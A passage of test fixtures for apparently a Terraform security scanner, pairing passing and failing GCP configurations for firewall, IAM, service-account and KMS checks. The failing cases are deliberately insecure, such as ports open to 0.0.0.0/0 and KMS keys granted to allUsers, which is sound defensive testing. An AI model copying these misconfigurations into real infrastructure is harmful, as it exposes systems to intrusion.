\"boot_disk\": [\n            {\n              \"device_name\": true,\n              \"disk_encryption_key_sha256\": true,\n              \"initialize_params\": [\n                {\n                  \"labels\": true\n                }\n              ],\n              \"kms_key_self_link\": true,\n              \"source\": true\n            }\n          ],\n          \"confidential_instance_config\": true,\n          \"cpu_platform\": true,\n          \"current_status\": true,\n          \"guest_accelerator\": true,\n          \"id\": true,\n          \"instance_id\": true,\n          \"label_fingerprint\": true,\n          \"metadata\": {},\n          \"metadata_fingerprint\": true,\n          \"min_cpu_platform\": true,\n          \"network_interface\": [\n            {\n              \"access_config\": [],\n              \"alias_ip_range\": [],\n              \"ipv6_access_config\": [],\n              \"ipv6_access_type\": true,\n              \"name\": true,\n              \"network\": true,\n              \"network_ip\": true,\n              \"stack_type\": true,\n              \"subnetwork_project\": true\n            }\n          ],\n          \"network_performance_config\": [],\n          \"reservation_affinity\": true,\n          \"scheduling\": true,\n          \"scratch_disk\": [],\n          \"self_link\": true,\n          \"service_account\": [\n            {\n              \"scopes\": [\n                false\n              ]\n            }\n          ],\n          \"shielded_instance_config\": [],\n          \"tags_fingerprint\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"advanced_machine_features\": [],\n          \"attached_disk\": [],\n          \"boot_disk\": [\n            {\n              \"disk_encryption_key_raw\": true,\n              \"initialize_params\": [\n                {\n                  \"labels\": {}\n                }\n              ]\n            }\n          ],\n          \"confidential_instance_config\": [],\n          \"guest_accelerator\": [],\n          \"metadata\": {},\n          \"network_interface\": [\n            {\n              \"access_config\": [],\n              \"alias_ip_range\": [],\n              \"ipv6_access_config\": []\n            }\n          ],\n          \"network_performance_config\": [],\n          \"reservation_affinity\": [],\n          \"scheduling\": [],\n          \"scratch_disk\": [],\n          \"service_account\": [\n            {\n              \"scopes\": [\n                false\n              ]\n            }\n          ],\n          \"shielded_instance_config\": []\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"google\": {\n        \"name\": \"google\",\n        \"full_name\": \"registry.terraform.io/hashicorp/google\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"google_compute_instance.bad3\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_instance\",\n          \"name\": \"bad3\",\n          \"provider_config_key\": \"google\",\n          \"expressions\": {\n            \"allow_stopping_for_update\": {\n              \"constant_value\": true\n            },\n            \"boot_disk\": [\n              {\n                \"initialize_params\": [\n                  {\n                    \"image\": {\n                      \"constant_value\": \"debian-cloud/debian-11\"\n                    },\n                    \"size\": {\n                      \"constant_value\": 30\n                    },\n                    \"type\": {\n                      \"constant_value\": \"pd-ssd\"\n                    }\n                  }\n                ]\n              }\n            ],\n            \"can_ip_forward\": {\n              \"constant_value\": false\n            },\n            \"machine_type\": {\n              \"constant_value\": \"e2-small\"\n            },\n            \"metadata\": {\n              \"constant_value\": {\n                \"enable-oslogin\": false\n              }\n            },\n            \"name\": {\n              \"constant_value\": \"third-instance\"\n            },\n            \"network_interface\": [\n              {\n                \"subnetwork\": {\n                  \"constant_value\": \"default\"\n                }\n              }\n            ],\n            \"project\": {\n              \"references\": [\n                \"local.project_id\"\n              ]\n            },\n            \"service_account\": [\n              {\n                \"email\": {\n                  \"constant_value\": \"12345-compute@developer.gserviceaccount.com\"\n                },\n                \"scopes\": {\n                  \"constant_value\": [\n                    \"cloud-platform\"\n                  ]\n                }\n              }\n            ],\n            \"zone\": {\n              \"references\": [\n                \"local.zone\"\n              ]\n            }\n          },\n          \"schema_version\": 6\n        }\n      ]\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleComputeDefaultServiceAccountFullAccess/main.tf",
    "content": "resource \"google_compute_instance\" \"fail1\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  service_account {\n    scopes = [\"https://www.googleapis.com/auth/cloud-platform\", \"compute-ro\", \"storage-ro\"]\n  }\n}\n\nresource \"google_compute_instance\" \"fail2\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  service_account {\n    scopes = [\"https://www.googleapis.com/auth/cloud-platform\", \"compute-ro\", \"storage-ro\"]\n    email  =  \"123456789-compute@developer.gserviceaccount.com\"\n  }\n}\n\nresource \"google_compute_instance_template\" \"fail3\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  service_account {\n    scopes = [\"https://www.googleapis.com/auth/cloud-platform\", \"compute-ro\", \"storage-ro\"]\n    email  =  \"123456789-compute@developer.gserviceaccount.com\"\n  }\n}\n\nresource \"google_compute_instance_from_template\" \"fail4\" {\n  name         = \"test\"\n  source_instance_template = google_compute_instance_template.tpl.id\n\n  service_account {\n    scopes = [\"https://www.googleapis.com/auth/cloud-platform\", \"compute-ro\", \"storage-ro\"]\n    email  =  \"123456789-compute@developer.gserviceaccount.com\"\n  }\n}\n\nresource \"google_compute_instance\" \"fail5\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  service_account {\n    scopes = [\"cloud-platform\"]\n    email  =  \"123456789-compute@developer.gserviceaccount.com\"\n  }\n}\n\nresource \"google_compute_instance\" \"pass1\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  service_account {\n    scopes = [\"https://www.googleapis.com/auth/cloud-platform\", \"compute-ro\", \"storage-ro\"]\n    email  = \"example@email.com\"\n  }\n}\n\nresource \"google_compute_instance\" \"pass2\" {\n  name         = \"gke-account\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  service_account {\n    scopes = [\"https://www.googleapis.com/auth/cloud-platform\", \"compute-ro\", \"storage-ro\"]\n    email  =  \"123456789-compute@developer.gserviceaccount.com\"\n  }\n}\n\nresource \"google_compute_instance\" \"broken\" {\n}\n\nresource \"google_compute_instance_from_template\" \"unknown1\" {\n  name         = \"test\"\n  source_instance_template = google_compute_instance_template.tpl.id\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleComputeExternalIP/main.tf",
    "content": "\nresource \"google_compute_instance\" \"fail\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  boot_disk {\n    auto_delete = true\n  }\n\n  network_interface {\n    network = \"default\"\n    access_config {\n    }\n  }\n}\n\n\nresource \"google_compute_instance_template\" \"fail\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n\n  disk {}\n  network_interface {\n    network = \"default\"\n    access_config {\n\n    }\n  }\n}\n\n\nresource \"google_compute_instance_from_template\" \"fail\" {\n  name                     = \"test\"\n  source_instance_template = google_compute_instance_template.pass.id\n}\n\nresource \"google_compute_instance\" \"pass\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  boot_disk {\n    auto_delete = true\n  }\n  network_interface {\n\n  }\n}\n\nresource \"google_compute_instance_template\" \"pass\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  disk {}\n}\n\nresource \"google_compute_instance_from_template\" \"unknown\" {\n  name                     = \"test\"\n  source_instance_template = google_compute_instance_template.pass.id\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleComputeFirewallUnrestrictedIngress20/main.tf",
    "content": "# pass\n\nresource \"google_compute_firewall\" \"restricted\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"20\"]\n  }\n\n  source_ranges = [\"172.1.2.3/32\"]\n  target_tags   = [\"ftp\"]\n}\n\nresource \"google_compute_firewall\" \"allow_different_int\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [4624]\n  }\n\n  source_ranges = [\"172.1.2.3/32\"]\n  target_tags   = [\"ftp\"]\n}\n\nresource \"google_compute_firewall\" \"allow_null\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = null\n  }\n\n  source_ranges = [\"172.1.2.3/32\"]\n  target_tags   = [\"ftp\"]\n}\n\n# fail\n\nresource \"google_compute_firewall\" \"allow_all\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"0-65535\"]\n  }\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n\nresource \"google_compute_firewall\" \"allow_ftp_int\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [20]\n  }\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n\nresource \"google_compute_firewall\" \"allow_multiple\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"1024-65535\", \"20\"]\n  }\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n\n# unknown\n\nresource \"google_compute_firewall\" \"allow_unknown\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow = \"var.backends\"\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleComputeFirewallUnrestrictedIngress21/main.tf",
    "content": "# pass\n\nresource \"google_compute_firewall\" \"restricted\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"21\"]\n  }\n\n  source_ranges = [\"172.1.2.3/32\"]\n  target_tags   = [\"ftp\"]\n}\n\nresource \"google_compute_firewall\" \"allow_different_int\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [4624]\n  }\n\n  source_ranges = [\"172.1.2.3/32\"]\n  target_tags   = [\"ftp\"]\n}\n\nresource \"google_compute_firewall\" \"allow_null\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = null\n  }\n\n  source_ranges = [\"172.1.2.3/32\"]\n  target_tags   = [\"ftp\"]\n}\n\n# fail\n\nresource \"google_compute_firewall\" \"allow_all\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"0-65535\"]\n  }\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n\nresource \"google_compute_firewall\" \"allow_ftp_int\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [21]\n  }\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n\nresource \"google_compute_firewall\" \"allow_multiple\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"1024-65535\", \"21\"]\n  }\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n\n# unknown\n\nresource \"google_compute_firewall\" \"allow_unknown\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow = \"var.backends\"\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleComputeFirewallUnrestrictedIngress22/main.tf",
    "content": "# pass\n\nresource \"google_compute_firewall\" \"restricted\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"22\"]\n  }\n\n  source_ranges = [\"172.1.2.3/32\"]\n  target_tags   = [\"ssh\"]\n}\n\nresource \"google_compute_firewall\" \"allow_different_int\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [4624]\n  }\n\n  source_ranges = [\"172.1.2.3/32\"]\n  target_tags   = [\"ssh\"]\n}\n\nresource \"google_compute_firewall\" \"allow_null\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = null\n  }\n\n  source_ranges = [\"172.1.2.3/32\"]\n  target_tags   = [\"ssh\"]\n}\n\n# fail\n\nresource \"google_compute_firewall\" \"allow_all\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"0-65535\"]\n  }\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n\nresource \"google_compute_firewall\" \"allow_ssh_int\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [22]\n  }\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n\nresource \"google_compute_firewall\" \"allow_multiple\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"1024-65535\", \"22\"]\n  }\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n\n# unknown\n\nresource \"google_compute_firewall\" \"allow_unknown\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow = \"var.backends\"\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n\n# foreach example\n\nlocals {\nfirewall = {\n  \"firewall-01\" = { name = \"name-open-ssh\", tag = [\"allow-ssh\"], port = [\"22\"], range = [\"0.0.0.0/0\"] },\n  \"firewall-02\" = { name = \"name-open-rdp\", tag = [\"allow-rdp\"], port = [\"3389\"], range = [\"0.0.0.0/0\"] },\n  \"firewall-04\" = { name = \"name-open-telnet\", tag = [\"allow-telnet\"], port = [\"23\"], range = [\"0.0.0.0/0\"] },\n  \"firewall-05\" = { name = \"name-open-ciscosecure\", tag = [\"allow-ciscosecure\"], port = [\"9090\"], range = [\"0.0.0.0/0\"] },\n  \"firewall-06\" = { name = \"name-open-opendir\", tag = [\"allow-opendir\"], port = [\"445\"], range = [\"0.0.0.0/0\"] },\n  }\n}\n\nresource \"google_compute_firewall\" \"firewall_demo\" {\n  for_each = local.firewall\n  name = each.value.name\n  network = \"google_compute_network.vpc_network.id\"\n  project = \"var.project_id\"\n  target_tags = each.value.tag\n\n  allow {\n    protocol = \"tcp\"\n    ports = each.value.port\n  }\n  source_ranges = each.value.range\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleComputeFirewallUnrestrictedIngress3306/main.tf",
    "content": "#####################\n## PASS TEST CASES ##\n#####################\n\n# Passes b/c we are specifying a restricted CIDR\nresource \"google_compute_firewall\" \"restricted\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"3306\"]\n  }\n\n  source_ranges = [\"172.1.2.3/32\"]\n}\n\n# Passes b/c it does not match port 3306 +\n# we are specifying a restricted CIDR\nresource \"google_compute_firewall\" \"allow_different_int\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [4624]\n  }\n\n  source_ranges = [\"172.1.2.3/32\"]\n}\n\n# Passes b/c the port is null and not 3306 +\n# we are specifying a restricted CIDR\nresource \"google_compute_firewall\" \"allow_null\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = null\n  }\n\n  source_ranges = [\"172.1.2.3/32\"]\n  target_tags   = [\"mysql\"]\n}\n\n#####################\n## FAIL TEST CASES ##\n#####################\n\n\n# fails b/c of unrestricted CIDR +\n# port 3306 is in the range\nresource \"google_compute_firewall\" \"allow_all\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"0-65535\"]\n  }\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n\n# Fails b/c of unrestricted CIDR + port 3306\nresource \"google_compute_firewall\" \"allow_mysql_int\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [3306]\n  }\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n\n# Fails b/c of unrestricted CIDR + port 3306\nresource \"google_compute_firewall\" \"allow_multiple\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"4000-65535\", \"3306\"]\n  }\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n\n# unknown\nresource \"google_compute_firewall\" \"allow_unknown\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow = \"var.backends\"\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleComputeFirewallUnrestrictedIngress80/main.tf",
    "content": "# pass\n\nresource \"google_compute_firewall\" \"restricted\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"80\"]\n  }\n\n  source_ranges = [\"172.1.2.3/32\"]\n  target_tags   = [\"ssh\"]\n}\n\nresource \"google_compute_firewall\" \"allow_different_int\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [4624]\n  }\n\n  source_ranges = [\"172.1.2.3/32\"]\n  target_tags   = [\"ssh\"]\n}\n\nresource \"google_compute_firewall\" \"allow_null\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = null\n  }\n\n  source_ranges = [\"172.1.2.3/32\"]\n  target_tags   = [\"ssh\"]\n}\n\n# fail\n\nresource \"google_compute_firewall\" \"allow_all\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"0-65535\"]\n  }\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n\nresource \"google_compute_firewall\" \"allow_http_int\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [80]\n  }\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n\nresource \"google_compute_firewall\" \"allow_multiple\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"1024-65535\", \"80\"]\n  }\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n\n# unknown\n\nresource \"google_compute_firewall\" \"allow_unknown\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow = \"var.backends\"\n\n  source_ranges = [\"0.0.0.0/0\"]\n}\n\nresource \"google_compute_firewall\" \"allow_null\" {\n  name    = \"example\"\n  network = \"google_compute_network.vpc.name\"\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"1024-65535\", \"80\"]\n  }\n\n  source_ranges = null\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleComputeProjectOSLogin/main.tf",
    "content": "\nresource \"google_compute_project_metadata\" \"fail\" {\n  metadata = {\n    foo = \"bar\"\n  }\n}\nresource \"google_compute_project_metadata\" \"pass\" {\n  metadata = {\n    foo            = \"bar\"\n    enable-oslogin = \"TRUE\"\n  }\n}\n\nresource \"google_compute_project_metadata_item\" \"ignores\" {\n  key   = \"enable-osconfig\"\n  value = \"TRUE\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleFolderBasicRole/main.tf",
    "content": "resource \"google_folder_iam_member\" \"owner\" {\n  folder  = \"folders/1234567\"\n  role    = \"roles/owner\"\n  member  = \"user:jane@example.com\"\n}\n\nresource \"google_folder_iam_member\" \"editor\" {\n  folder  = \"folders/1234567\"\n  role    = \"roles/editor\"\n  member  = \"user:jane@example.com\"\n}\n\nresource \"google_folder_iam_member\" \"viewer\" {\n  folder  = \"folders/1234567\"\n  role    = \"roles/viewer\"\n  member  = \"user:jane@example.com\"\n}\n\nresource \"google_folder_iam_member\" \"other\" {\n  folder  = \"folders/1234567\"\n  role    = \"roles/other\"\n  member  = \"user:jane@example.com\"\n}\n\nresource \"google_folder_iam_binding\" \"owner\" {\n  folder  = \"folders/1234567\"\n  role    = \"roles/owner\"\n\n  members = [\n    \"user:jane@example.com\",\n  ]\n}\n\nresource \"google_folder_iam_binding\" \"editor\" {\n  folder  = \"folders/1234567\"\n  role    = \"roles/editor\"\n\n  members = [\n    \"user:jane@example.com\",\n  ]\n}\n\nresource \"google_folder_iam_binding\" \"viewer\" {\n  folder  = \"folders/1234567\"\n  role    = \"roles/viewer\"\n\n  members = [\n    \"user:jane@example.com\",\n  ]\n}\n\nresource \"google_folder_iam_binding\" \"other\" {\n  folder  = \"folders/1234567\"\n  role    = \"roles/other\"\n\n  members = [\n    \"user:jane@example.com\",\n  ]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleIAMWorkloadIdentityConditional/main.tf",
    "content": "resource \"google_iam_workload_identity_pool\" \"github\" {\n  provider = google\n  project  = data.google_project.project.project_id\n  workload_identity_pool_id = \"github\"\n}\n\nresource \"google_iam_workload_identity_pool_provider\" \"fail\" {\n  provider = google\n  project  = data.google_project.project.project_id\n  workload_identity_pool_id          = google_iam_workload_identity_pool.github-actions[0].workload_identity_pool_id\n  workload_identity_pool_provider_id = \"github\"\n\n  attribute_mapping = {\n    \"google.subject\"       = \"assertion.sub\"\n    \"attribute.actor\"      = \"assertion.actor\"\n    \"attribute.aud\"        = \"assertion.aud\"\n    \"attribute.repository\" = \"assertion.repository\"\n  }\n\n  oidc {\n    issuer_uri = \"https://token.actions.githubusercontent.com\"\n  }\n}\n\nresource \"google_iam_workload_identity_pool_provider\" \"pass\" {\n  provider = google\n  project  = data.google_project.project.project_id\n  workload_identity_pool_id          = google_iam_workload_identity_pool.github-actions[0].workload_identity_pool_id\n  workload_identity_pool_provider_id = \"github\"\n\n  attribute_mapping = {\n    \"google.subject\"       = \"assertion.sub\"\n    \"attribute.actor\"      = \"assertion.actor\"\n    \"attribute.aud\"        = \"assertion.aud\"\n    \"attribute.repository\" = \"assertion.repository\"\n  }\n\n  oidc {\n    issuer_uri = \"https://token.actions.githubusercontent.com\"\n  }\n\n  attribute_condition = \"assertion.repository_owner=='your-github-organization'\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleKMSKeyIsPublic/main.tf",
    "content": "#data \"google_iam_policy\" \"fail_access\" {\n#  binding {\n#    role    = \"roles/cloudkms.cryptoKeyEncrypter\"\n#    members = [\"allUsers\"]\n#  }\n#}\n\nresource \"google_kms_crypto_key_iam_policy\" \"fail\" {\n  crypto_key_id = google_kms_crypto_key.positive1.id\n  policy_data = jsonencode({\n\n    bindings = [{\n      role    = \"roles/cloudkms.cryptoKeyEncrypter\"\n      members = [\"allUsers\"]\n  }] })\n}\n\n#data \"google_iam_policy\" \"pass_access\" {\n#  binding {\n#    role    = \"roles/cloudkms.cryptoKeyEncrypter\"\n#    members = [\"jameswoolfenden\"]\n#  }\n#}\n\nresource \"google_kms_crypto_key_iam_policy\" \"pass\" {\n  crypto_key_id = google_kms_crypto_key.pass.id\n  policy_data = jsonencode({\n    bindings = [\n      {\n        role    = \"roles/cloudkms.cryptoKeyEncrypter\"\n        members = [\"jameswoolfenden\"]\n  }] })\n}\n\nresource \"google_kms_crypto_key_iam_policy\" \"fail2\" {\n  crypto_key_id = google_kms_crypto_key.pass.id\n  policy_data = jsonencode({\n    bindings = [\n      {\n        members = [\n          \"user:jane@example.com\",\n        ]\n        role = \"roles/cloudkms.admin\"\n      },\n      {\n        members = [\n          \"allAuthenticatedUsers\",\n        ]\n        role = \"roles/cloudkms.cryptoKeyDecrypter\"\n      },\n    ]\n  })\n}\n\nresource \"google_kms_crypto_key_iam_policy\" \"pass2\" {\n  crypto_key_id = google_kms_crypto_key.pass.id\n  policy_data   = <<HERE\n{\n    \"bindings\": [{\n      \"role\": \"roles/cloudkms.cryptoKeyEncrypter\",\n      \"members\": [\"user:jameswoolfeden\"]\n    }]\n}\nHERE\n}\n\n\nresource \"google_kms_crypto_key_iam_policy\" \"pass3\" {\n  crypto_key_id = google_kms_crypto_key.pass.id\n  policy_data   = <<HERE\n    \"bindings\"\nHERE\n}\n\n\nresource \"google_kms_crypto_key_iam_binding\" \"pass\" {\n  crypto_key_id = google_kms_crypto_key.key.id\n  role          = \"roles/cloudkms.cryptoKeyEncrypter\"\n\n  members = [\n    \"user:jane@example.com\",\n  ]\n}\n\nresource \"google_kms_crypto_key_iam_binding\" \"fail\" {\n  crypto_key_id = google_kms_crypto_key.key.id\n  role          = \"roles/cloudkms.cryptoKeyEncrypter\"\n\n  members = [\n    \"allUsers\",\n  ]\n}\n\nresource \"google_kms_crypto_key_iam_member\" \"pass\" {\n  crypto_key_id = google_kms_crypto_key.key.id\n  role          = \"roles/cloudkms.cryptoKeyEncrypter\"\n  member        = \"user:jane@example.com\"\n}\n\nresource \"google_kms_crypto_key_iam_member\" \"fail\" {\n  crypto_key_id = google_kms_crypto_key.key.id\n  role          = \"roles/cloudkms.cryptoKeyEncrypter\"\n  member        = \"allUsers\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleKMSPreventDestroy/main.tf",
    "content": "resource \"google_kms_crypto_key\" \"pass\" {\n  name            = \"crypto-key-example\"\n  key_ring        = google_kms_key_ring.keyring.id\n  rotation_period = \"15552000s\"\n\n  lifecycle {\n    prevent_destroy = true\n  }\n}\n\nresource \"google_kms_crypto_key\" \"fail\" {\n  name            = \"crypto-key-example\"\n  key_ring        = google_kms_key_ring.keyring.id\n  rotation_period = \"15552000s\"\n\n  lifecycle {\n    prevent_destroy = false\n  }\n}\n\nresource \"google_kms_crypto_key\" \"fail2\" {\n  name            = \"crypto-key-example\"\n  key_ring        = google_kms_key_ring.keyring.id\n  rotation_period = \"15552000s\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleKMSRotationPeriod/main.tf",
    "content": "# pass\n\nresource \"google_kms_crypto_key\" \"ninety_days\" {\n  name            = \"crypto-key-example\"\n  key_ring        = \"google_kms_key_ring.keyring.id\"\n  rotation_period = \"7776000s\"\n}\n\nresource \"google_kms_crypto_key\" \"minimum\" {\n  name            = \"crypto-key-example\"\n  key_ring        = \"google_kms_key_ring.keyring.id\"\n  rotation_period = \"86400s\"\n}\n\n# fail\n\nresource \"google_kms_crypto_key\" \"half_year\" {\n  name            = \"crypto-key-example\"\n  key_ring        = \"google_kms_key_ring.keyring.id\"\n  rotation_period = \"15552000s\"\n}\n\nresource \"google_kms_crypto_key\" \"default\" {\n  name     = \"crypto-key-example\"\n  key_ring = \"google_kms_key_ring.keyring.id\"\n}\n\n# unknown\n\nresource \"google_kms_crypto_key\" \"asymmetric\" {\n  name     = \"crypto-key-example\"\n  key_ring = \"google_kms_key_ring.keyring.id\"\n  purpose  = \"ASYMMETRIC_SIGN\"\n}\n\nresource \"google_kms_crypto_key\" \"fail\" {\n  name            = \"crypto-key-example\"\n  key_ring        = \"google_kms_key_ring.keyring.id\"\n  rotation_period = 90\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleOrgBasicRole/main.tf",
    "content": "resource \"google_organization_iam_member\" \"owner\" {\n  org_id  = \"your-organization-id\"\n  role    = \"roles/owner\"\n  member  = \"user:jane@example.com\"\n}\n\nresource \"google_organization_iam_member\" \"editor\" {\n  org_id  = \"your-organization-id\"\n  role    = \"roles/editor\"\n  member  = \"user:jane@example.com\"\n}\n\nresource \"google_organization_iam_member\" \"viewer\" {\n  org_id  = \"your-organization-id\"\n  role    = \"roles/viewer\"\n  member  = \"user:jane@example.com\"\n}\n\nresource \"google_organization_iam_member\" \"other\" {\n  org_id  = \"your-organization-id\"\n  role    = \"roles/other\"\n  member  = \"user:jane@example.com\"\n}\n\nresource \"google_organization_iam_binding\" \"owner\" {\n  org_id  = \"your-organization-id\"\n  role    = \"roles/owner\"\n\n  members = [\n    \"user:jane@example.com\",\n  ]\n}\n\nresource \"google_organization_iam_binding\" \"editor\" {\n  org_id  = \"your-organization-id\"\n  role    = \"roles/editor\"\n\n  members = [\n    \"user:jane@example.com\",\n  ]\n}\n\nresource \"google_organization_iam_binding\" \"viewer\" {\n  org_id  = \"your-organization-id\"\n  role    = \"roles/viewer\"\n\n  members = [\n    \"user:jane@example.com\",\n  ]\n}\n\nresource \"google_organization_iam_binding\" \"other\" {\n  org_id  = \"your-organization-id\"\n  role    = \"roles/other\"\n\n  members = [\n    \"user:jane@example.com\",\n  ]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleProjectBasicRole/main.tf",
